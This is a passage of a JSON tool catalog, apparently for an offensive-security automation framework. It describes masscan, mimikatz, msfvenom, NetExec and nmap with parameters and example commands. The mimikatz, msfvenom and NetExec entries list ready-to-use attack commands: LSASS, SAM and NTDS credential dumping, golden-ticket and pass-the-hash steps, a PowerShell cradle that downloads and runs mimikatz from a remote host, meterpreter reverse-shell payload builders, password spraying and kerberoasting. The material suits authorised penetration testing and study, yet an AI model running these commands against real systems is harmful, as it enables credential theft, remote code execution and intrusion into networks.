    "id": "darkiros-masscan",
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "masscan",
    "namespace": "darkiros:tool:masscan",
    "parameters": [
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ports to scan (e.g. -p80, -p1-65535)",
        "aliases": [
          "-p",
          "--ports"
        ],
        "flag": "-p"
      },
      {
        "name": "rate",
        "template_key": "rate",
        "type": "integer",
        "required": false,
        "default_value": 100,
        "description": "Packets per second",
        "aliases": [
          "--rate"
        ],
        "flag": "--rate"
      },
      {
        "name": "flag-oJ",
        "template_key": "flag-oJ",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output to JSON file",
        "aliases": [
          "-oJ",
          "--output-json"
        ],
        "flag": "-oJ"
      },
      {
        "name": "flag-oX",
        "template_key": "flag-oX",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output to XML file",
        "aliases": [
          "-oX",
          "--output-xml"
        ],
        "flag": "-oX"
      },
      {
        "name": "flag-oB",
        "template_key": "flag-oB",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output to binary file",
        "aliases": [
          "-oB",
          "--output-binary"
        ],
        "flag": "-oB"
      },
      {
        "name": "adapter-ip",
        "template_key": "adapter-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP address of the network adapter",
        "aliases": [
          "--adapter-ip"
        ],
        "flag": "--adapter-ip"
      },
      {
        "name": "adapter-mac",
        "template_key": "adapter-mac",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "MAC address of the network adapter",
        "aliases": [
          "--adapter-mac"
        ],
        "flag": "--adapter-mac"
      },
      {
        "name": "router-mac",
        "template_key": "router-mac",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "MAC address of the gateway router",
        "aliases": [
          "--router-mac"
        ],
        "flag": "--router-mac"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP addresses to exclude from scan",
        "aliases": [
          "--exclude"
        ],
        "flag": "--exclude"
      },
      {
        "name": "banners",
        "template_key": "banners",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Grab banners from open ports",
        "aliases": [
          "--banners"
        ],
        "flag": "--banners"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/robertdavidgraham/masscan"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "DNS"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# mimikatz\n\nDarkiros cheat sheet commands:\n\n**mimikatz one liner**\n```\nmimikatz.exe \\\"privilege::debug\\\" \\\"token::elevate\\\" \\\"sekurlsa::logonpasswords\\\" \\\"lsadump::sam\\\" \\\"exit\\\"\n```\n\n**load mimikatz in memory**\n```\npowershell -nop -c \\\"IEX(New-Object Net.WebClient).DownloadString('http://[ip]/mimikatz.ps1')\\\"\n```\n\n**mimikatz disable ppl and dump password**\n```\nmimikatz.exe \\\"privilege::debug\\\" \\\"!+\\\" \\\"!processprotect /process:lsass.exe /remove\\\" \\\"sekurlsa::logonpasswords\\\" \\\"exit\\\"\n```\n\n**mimikatz extract credentials from dump**\n```\nmimikatz.exe \\\"privilege::debug\\\" \\\"sekurlsa::minidump lsass.dmp\\\" \\\"sekurlsa::logonPasswords\\\" \\\"exit\\\"\n```\n\n**mimikatz extract credentials from shadow copy (1)**\n```\nmimikatz.exe \\\"lsadump::sam /system:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SYSTEM /security:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SECURITY /sam:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SAM\\\"\n```\n\n**mimikatz extract credentials from shadow copy (2)**\n```\nmimikatz.exe \\\"lsadump::secrets /system:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SYSTEM /security:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SECURITY\\\"\n```\n\n**mimikatz extract tickets**\n```\nmimikatz.exe \\\"sekurlsa::tickets /export\\\" \\\"exit\\\"\n```\n\n**mimikatz - forest extra SID**\n```\nkerberos::golden /user:[user] /domain:[domain] /sid:[child_sid] /krbtgt:[krbtgt_ntlm] /sids:[parent_sid]-519 /ptt\n```\n\n**mimikatz pth to RDP mstsc.exe**\n```\nsekurlsa::pth /user:[user] /domain:<domain> /ntlm:<ntlm_hash> /run:\\\"mstsc.exe /restrictedadmin\\\"\n```\n\n**mimikatz pth run powershell remotelly**\n```\nsekurlsa::pth /user:[user] /domain:[domain] /ntlm:[ntlm_hash] /run:\\\"powershell.exe -exec bypass\\\"\n```\n",
    "_source": "darkiros-mimikatz.md",
    "capabilities": [
      "credential.dump.generic",
      "network.pivot.generic"
    ],
    "description": "mimikatz one liner",
    "examples": [
      {
        "description": "mimikatz one liner",
        "command": "mimikatz.exe \\\"privilege::debug\\\" \\\"token::elevate\\\" \\\"sekurlsa::logonpasswords\\\" \\\"lsadump::sam\\\" \\\"exit\\\""
      },
      {
        "description": "load mimikatz in memory",
        "command": "powershell -nop -c \\\"IEX(New-Object Net.WebClient).DownloadString('http://[ip]/mimikatz.ps1')\\\""
      },
      {
        "description": "mimikatz disable ppl and dump password",
        "command": "mimikatz.exe \\\"privilege::debug\\\" \\\"!+\\\" \\\"!processprotect /process:lsass.exe /remove\\\" \\\"sekurlsa::logonpasswords\\\" \\\"exit\\\""
      },
      {
        "description": "mimikatz extract credentials from dump",
        "command": "mimikatz.exe \\\"privilege::debug\\\" \\\"sekurlsa::minidump lsass.dmp\\\" \\\"sekurlsa::logonPasswords\\\" \\\"exit\\\""
      },
      {
        "description": "mimikatz extract credentials from shadow copy (1)",
        "command": "mimikatz.exe \\\"lsadump::sam /system:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SYSTEM /security:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SECURITY /sam:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SAM\\\""
      },
      {
        "description": "mimikatz extract credentials from shadow copy (2)",
        "command": "mimikatz.exe \\\"lsadump::secrets /system:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SYSTEM /security:\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SECURITY\\\""
      },
      {
        "description": "mimikatz extract tickets",
        "command": "mimikatz.exe \\\"sekurlsa::tickets /export\\\" \\\"exit\\\""
      },
      {
        "description": "mimikatz - forest extra SID",
        "command": "kerberos::golden /user:[user] /domain:[domain] /sid:[child_sid] /krbtgt:[krbtgt_ntlm] /sids:[parent_sid]-519 /ptt"
      },
      {
        "description": "mimikatz pth to RDP mstsc.exe",
        "command": "sekurlsa::pth /user:[user] /domain:<domain> /ntlm:<ntlm_hash> /run:\\\"mstsc.exe /restrictedadmin\\\""
      },
      {
        "description": "mimikatz pth run powershell remotelly",
        "command": "sekurlsa::pth /user:[user] /domain:[domain] /ntlm:[ntlm_hash] /run:\\\"powershell.exe -exec bypass\\\""
      }
    ],
    "execution": {
      "template": "mimikatz",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "darkiros-mimikatz",
    "items": [
      "Password",
      "Hash",
      "TGS",
      "TGT"
    ],
    "mitre_ids": [
      "T1555",
      "T1003",
      "T1055"
    ],
    "name": "mimikatz",
    "namespace": "darkiros:tool:mimikatz",
    "platforms": [
      "windows",
      "linux"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/gentilkiwi/mimikatz"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "Kerberos",
      "LDAP",
      "SMB"
    ],
    "techniques": [
      "credential-access",
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# msfvenom\n\nDarkiros cheat sheet commands:\n\n**msfvenom - payload windows x86 meterpeter unstagged**\n```\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -f exe -o [output.exe]\n```\n\n**msfvenom - linux meterpeter reverse shell**\n```\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -f elf -o [output.elf]\n```\n\n**msfvenom - Linux x64 meterpreter reverse shell**\n```\nmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -f elf -t 300 -e x64/xor_dynamic -o [output.elf]\n```\n\n**msfvenom - PHP meterpreter reverse shell**\n```\nmsfvenom -p php/meterpreter_reverse_tcp LHOST=[ip] LPORT=[port] -f raw -o [output.php]\n```\n",
    "_source": "darkiros-msfvenom.md",
    "capabilities": [
      "security.execution.reverse-shell"
    ],
    "description": "msfvenom - payload windows x86 meterpeter unstagged",
    "examples": [
      {
        "description": "msfvenom - payload windows x86 meterpeter unstagged",
        "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -f exe -o [output.exe]"
      },
      {
        "description": "msfvenom - linux meterpeter reverse shell",
        "command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -f elf -o [output.elf]"
      },
      {
        "description": "msfvenom - Linux x64 meterpreter reverse shell",
        "command": "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ip] LPORT=[port] -f elf -t 300 -e x64/xor_dynamic -o [output.elf]"
      },
      {
        "description": "msfvenom - PHP meterpreter reverse shell",
        "command": "msfvenom -p php/meterpreter_reverse_tcp LHOST=[ip] LPORT=[port] -f raw -o [output.php]"
      }
    ],
    "execution": {
      "template": "msfvenom",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "pipes-stdin"
    ],
    "id": "darkiros-msfvenom",
    "items": [
      "Shell"
    ],
    "name": "msfvenom",
    "namespace": "darkiros:tool:msfvenom",
    "platforms": [
      "windows",
      "linux"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://www.metasploit.com/"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# NetExec\n\nDarkiros cheat sheet commands:\n\n**NetExec - enumerate hosts, network**\n```\nnxc smb [ip_range]\n```\n\n**NetExec - enumerate password policy**\n```\nnxc smb 10.10.10.161 -u '[user]' -p '[password]' --pass-pol\n```\n\n**NetExec - enumerate null session**\n```\nnxc smb [ip] -u '' -p ''\n```\n\n**NetExec - enumerate anonymouse login**\n```\nnxc smb [ip] -u 'a' -p ''\n```\n\n**NetExec - enumerate active session**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --sessions\n```\n\n**NetExec - enumerate domain users**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --users\n```\n\n**NetExec - enumerate users by bruteforce the RID**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --rid-brute\n```\n\n**NetExec - enumerate domain groups**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --groups\n```\n\n**NetExec - enumerate local groups**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --local-groups\n```\n\n**NetExec - enumerate shares**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --shares\n```\n\n**NetExec - enumerate disks**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --disks\n```\n\n**NetExec - enumerate smb target not signed**\n```\nnxc smb [ip] --gen-relay-list [smb_targets.txt]\n```\n\n**NetExec - enumerate logged users**\n```\nnxc smb [ip] -u '[user]' -p '[password]' --loggedon-users\n```\n\n**NetExec - enable wdigest**\n```\nnxc smb [ip] -u '[user|Administrator]' -p '[password]' --local-auth --wdigest enable\n```\n\n**NetExec - kerberos auth**\n```\nnxc smb [ip] --kerberos\n```\n\n**NetExec - dump SAM**\n```\nnxc smb [ip] -u '[user]' -p '[password]' -d [domain] --sam\n```\n\n**NetExec - dump LSA**\n```\nnxc smb [ip] -u '[user]' -p '[password]' -d [domain] --lsa\n```\n\n**NetExec - dump NTDS**\n```\nnxc smb [ip] -u '[user]' -p '[password]' -d [domain] --ntds\n```\n\n**NetExec - dump lsass**\n```\nnxc smb [ip] -u '[user]' -p '[password]' -d [domain] -M lsassy\n```\n\n**NetExec - password spray (user=password)**\n```\nnxc smb [dc-ip] -u [user.txt] -p [password.txt] --no-bruteforce --continue-on-success\n```\n\n**NetExec - password spray multiple test**\n```\nnxc smb [dc-ip] -u [user.txt] -p [password.txt] --continue-on-success\n```\n\n**NetExec - ASREP Roasting enum whitout authentication**\n```\nnxc ldap [dc-ip] -u [user|user.txt] -p '' --asreproast output.txt\n```\n\n**NetExec - Kerberoasting**\n```\nnxc ldap [dc-ip] -u [user] -p [password] --kerberoasting output.txt\n```\n\n**NetExec - Unconstrained delegation**\n```\nnxc ldap [dc-ip] -u [user] -p [password] --trusted-for-delegation\n```\n",
    "_source": "darkiros-netexec.md",
    "capabilities": [
      "credential.bruteforce.spray",
      "credential.discovery.reconnaissance",
      "network.connect.remote",
      "security.execution.post-exploitation"
    ],
    "description": "NetExec - enumerate hosts, network",
    "examples": [
      {
        "description": "NetExec - enumerate hosts, network",
        "command": "nxc smb [ip_range]"
      },
      {
        "description": "NetExec - enumerate password policy",
        "command": "nxc smb 10.10.10.161 -u '[user]' -p '[password]' --pass-pol"
      },
      {
        "description": "NetExec - enumerate null session",
        "command": "nxc smb [ip] -u '' -p ''"
      },
      {
        "description": "NetExec - enumerate anonymouse login",
        "command": "nxc smb [ip] -u 'a' -p ''"
      },
      {
        "description": "NetExec - enumerate active session",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --sessions"
      },
      {
        "description": "NetExec - enumerate domain users",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --users"
      },
      {
        "description": "NetExec - enumerate users by bruteforce the RID",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --rid-brute"
      },
      {
        "description": "NetExec - enumerate domain groups",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --groups"
      },
      {
        "description": "NetExec - enumerate local groups",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --local-groups"
      },
      {
        "description": "NetExec - enumerate shares",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --shares"
      },
      {
        "description": "NetExec - enumerate disks",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --disks"
      },
      {
        "description": "NetExec - enumerate smb target not signed",
        "command": "nxc smb [ip] --gen-relay-list [smb_targets.txt]"
      },
      {
        "description": "NetExec - enumerate logged users",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' --loggedon-users"
      },
      {
        "description": "NetExec - enable wdigest",
        "command": "nxc smb [ip] -u '[user|Administrator]' -p '[password]' --local-auth --wdigest enable"
      },
      {
        "description": "NetExec - kerberos auth",
        "command": "nxc smb [ip] --kerberos"
      },
      {
        "description": "NetExec - dump SAM",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' -d [domain] --sam"
      },
      {
        "description": "NetExec - dump LSA",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' -d [domain] --lsa"
      },
      {
        "description": "NetExec - dump NTDS",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' -d [domain] --ntds"
      },
      {
        "description": "NetExec - dump lsass",
        "command": "nxc smb [ip] -u '[user]' -p '[password]' -d [domain] -M lsassy"
      },
      {
        "description": "NetExec - password spray (user=password)",
        "command": "nxc smb [dc-ip] -u [user.txt] -p [password.txt] --no-bruteforce --continue-on-success"
      },
      {
        "description": "NetExec - password spray multiple test",
        "command": "nxc smb [dc-ip] -u [user.txt] -p [password.txt] --continue-on-success"
      },
      {
        "description": "NetExec - ASREP Roasting enum whitout authentication",
        "command": "nxc ldap [dc-ip] -u [user|user.txt] -p '' --asreproast output.txt"
      },
      {
        "description": "NetExec - Kerberoasting",
        "command": "nxc ldap [dc-ip] -u [user] -p [password] --kerberoasting output.txt"
      },
      {
        "description": "NetExec - Unconstrained delegation",
        "command": "nxc ldap [dc-ip] -u [user] -p [password] --trusted-for-delegation"
      }
    ],
    "execution": {
      "template": "netexec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "remote"
    ],
    "id": "darkiros-netexec",
    "items": [
      "NoCreds",
      "Hash",
      "Password"
    ],
    "name": "NetExec",
    "namespace": "darkiros:tool:netexec",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/Pennyw0rth/NetExec"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "SMB",
      "Kerberos",
      "LDAP",
      "WinRM"
    ],
    "techniques": [
      "credential-access",
      "discovery",
      "execution",
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# nmap\n\nDarkiros cheat sheet commands:\n\n**Nmap - hosts alive**\n```\nnmap -sn [ip_range]\n```\n\n**Nmap - classic scan**\n```\nnmap -sC -sV [ip]\n```\n\n**Nmap - read targets from file**\n```\nnmap -iL [file]\n```\n\n**Nmap - scan all port full**\n```\nnmap -Pn -sC -sV -p [port] [ip] -oN scan.txt --reason --script=vuln\n```\n\n**Nmap - UDP scan**\n```\nnmap -sU [ip]\n```\n\n**Nmap - SMB signin disabled**\n```\nnmap -Pn -sS -T4 --open --script smb-security-mode -p 445 [ip]\n```\n\n**Nmap - kerberos user enumeration**\n```\nnmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=[domain] [dc-ip]\n```\n",
    "_source": "darkiros-nmap.md",
    "capabilities": [
      "credential.discovery.reconnaissance"
    ],
    "description": "Nmap - hosts alive",
    "examples": [
      {
        "description": "Nmap - hosts alive",
        "command": "nmap -sn [ip_range]"
      },
      {
        "description": "Nmap - classic scan",
        "command": "nmap -sC -sV [ip]"
      },
      {
        "description": "Nmap - read targets from file",
        "command": "nmap -iL [file]"
      },
      {
        "description": "Nmap - scan all port full",
        "command": "nmap -Pn -sC -sV -p [port] [ip] -oN scan.txt --reason --script=vuln"
      },
      {
        "description": "Nmap - UDP scan",
        "command": "nmap -sU [ip]"
      },
      {
        "description": "Nmap - SMB signin disabled",
        "command": "nmap -Pn -sS -T4 --open --script smb-security-mode -p 445 [ip]"
      },
      {
        "description": "Nmap - kerberos user enumeration",
        "command": "nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=[domain] [dc-ip]"
      }
    ],
    "execution": {
      "template": "nmap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "darkiros-nmap",
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "nmap",
    "namespace": "darkiros:tool:nmap",
    "parameters": [
      {
        "name": "PE",
        "type": "boolean",
        "required": false,
        "description": "/PP/PM: ICMP echo, timestamp, and netmask request discovery probes",
        "aliases": [
          "-PE"
        ],
        "flag": "-PE"
      },
      {
        "name": "PO",
        "type": "boolean",
        "required": false,
        "description": "IP Protocol Ping",
        "aliases": [
          "-PO"
        ],
        "flag": "-PO"
      },
      {
        "name": "PS",
        "type": "boolean",
        "required": false,
        "description": "/PA/PU/PY[portlist]: TCP SYN, TCP ACK, UDP or SCTP discovery to given ports",
        "aliases": [
          "-PS"
        ],
        "flag": "-PS"
      },
      {
        "name": "Pn",
        "type": "boolean",
        "required": false,
        "description": "Treat all hosts as online -- skip host discovery",
        "aliases": [
          "-Pn"
        ],
        "flag": "-Pn"
      },
      {
        "name": "append-output",
        "template_key": "append-output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--append-output"
        ],
        "flag": "--append-output"
      },
      {
        "name": "badsum",
        "template_key": "badsum",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--badsum"
        ],
        "flag": "--badsum"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--data <hex string>"
        ],
        "flag": "--data"
      },
      {
        "name": "data-length",
        "template_key": "data-length",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--data-length <num>"
        ],
        "flag": "--data-length"
      },
      {
        "name": "data-string",
        "template_key": "data-string",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--data-string <string>"
        ],
        "flag": "--data-string"
      },
      {
        "name": "datadir",
        "template_key": "datadir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--datadir <dirname>"
        ],
        "flag": "--datadir"
      },
      {
        "name": "dns-servers",
        "template_key": "dns-servers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--dns-servers <serv1[,serv2],...>"
        ],
        "flag": "--dns-servers"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--exclude <host1[,host2][,host3],...>"
        ],
        "flag": "--exclude"
      },
      {
        "name": "exclude-ports",
        "template_key": "exclude-ports",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--exclude-ports <port ranges>"
        ],
        "flag": "--exclude-ports"
      },
      {
        "name": "excludefile",
        "template_key": "excludefile",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--excludefile <exclude_file>"
        ],
        "flag": "--excludefile"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable IPv6 scanning",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Treat all hosts as online -- skip host discovery",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-P-2",
        "template_key": "flag-p-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TCP SYN, TCP ACK, UDP or SCTP discovery to given ports",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-P-3",
        "template_key": "flag-p-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ICMP echo, timestamp, and netmask request discovery probes",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-P-4",
        "template_key": "flag-p-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set timing template (higher is faster)",
        "aliases": [
          "-T",
          "-5"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Increase debugging level (use -dd or more for greater effect)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print this help summary page",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-i-2",
        "template_key": "flag-i-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": "sometimes",
        "description": "Never do DNS resolution/Always resolve",
        "aliases": [
          "-n",
          "-R"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "and Grepable format, respectively, to the given filename",
        "aliases": [
          "-o",
          "-o",
          "-o",
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-o-2",
        "template_key": "flag-o-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Scan ports sequentially - don't randomize",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List Scan - simply list targets to scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-10",
        "template_key": "flag-s-10",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to --script=default",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-2",
        "template_key": "flag-s-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ping Scan - disable port scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-3",
        "template_key": "flag-s-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TCP SYN/Connect()/ACK/Window/Maimon scans",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-4",
        "template_key": "flag-s-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "UDP Scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-5",
        "template_key": "flag-s-5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "TCP Null, FIN, and Xmas scans",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-6",
        "template_key": "flag-s-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-7",
        "template_key": "flag-s-7",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SCTP INIT/COOKIE-ECHO scans",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-8",
        "template_key": "flag-s-8",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP protocol scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-9",
        "template_key": "flag-s-9",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Probe open ports to determine service/version info",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Increase verbosity level (use -vv or more for greater effect)",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "host-timeout",
        "template_key": "host-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--host-timeout <time>"
        ],
        "flag": "--host-timeout"
      },
      {
        "name": "iL",
        "type": "boolean",
        "required": false,
        "description": "Input from list of hosts/networks",
        "aliases": [
          "-iL"
        ],
        "flag": "-iL"
      },
      {
        "name": "iR",
        "type": "boolean",
        "required": false,
        "description": "Choose random targets",
        "aliases": [
          "-iR"
        ],
        "flag": "-iR"
      },
      {
        "name": "iflist",
        "template_key": "iflist",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--iflist"
        ],
        "flag": "--iflist"
      },
      {
        "name": "ip-options",
        "template_key": "ip-options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--ip-options <options>"
        ],
        "flag": "--ip-options"
      },
      {
        "name": "max-rate",
        "template_key": "max-rate",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--max-rate <number>"
        ],
        "flag": "--max-rate"
      },
      {
        "name": "max-retries",
        "template_key": "max-retries",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
